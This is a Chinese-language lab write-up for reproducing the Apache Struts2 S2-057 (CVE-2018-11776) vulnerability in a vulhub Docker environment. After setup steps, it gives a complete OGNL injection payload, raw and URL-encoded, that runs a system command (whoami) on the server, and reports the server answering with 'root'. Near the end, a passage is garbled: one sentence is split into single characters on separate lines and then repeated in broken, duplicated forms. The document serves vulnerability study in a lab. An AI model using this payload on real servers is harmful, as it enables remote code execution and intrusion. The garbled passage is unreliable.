struts2-057-CVE-2018-11776
搭建环境
首先安装git
yum install git-core
安装完成之后运行一下git clone试试,如果出现选项就说明安装成功了。
之后安装docker
sudo yum -y install docker-ce
尝试运行一下
docker images
如果出现镜像列表则说明成功安装。接下来就需要安装vulhub了,在这之前,需要先安装pip
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
安装完成之后尝试输入pip,出现选项即说明安装成功,接下来就可以
使用pip来安装docker-compose
pip install docker-compose
直接从github上将vulhub拿下来
git clone https://github.com/vulhub/vulhub
可以看到里面的漏洞环境
进入struts2目录下,找到struts2-057,进去。
直接使用docker-compose将镜像安装起来。
docker-compose up -d
看下docker里面镜像库,如果出现struts2镜像则说明安装成功。
查看psid,复制id后直接启用环境。
docker exec -i -t /bin/bash
复现
环境就搭建起来了,访问一下ip:port/struts2-showcase/,ip是虚拟机地址,端口一般是8080
这里就访问成功了,之后验证漏洞,将url换成ip:port/struts2-showcase/${(111+111)}/actionChain1.action
最后可以看到已经变成了ip:port/struts2-showcase/222/register2.action
payload
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘whoami’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
URL编码之后:
/struts2-showcase/%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d/actionChain1.action
通过抓包可以看到,第一次请求
(
111
+
111
)
的
时
候
,
返
回
了
302
响
应
码
,
随
即
返
回
想
要
得
到
的
内
容
{(111+111)}的时候,返回了302响应码,随即返回想要得到的内容
(111+111)的时候,返回了302响应码,随即返回想要得到的内容{222},并且响应码是200
用payload再次尝试,查看抓包,可以发现还是先响应302,然后返回了用户名root,并且响应码是200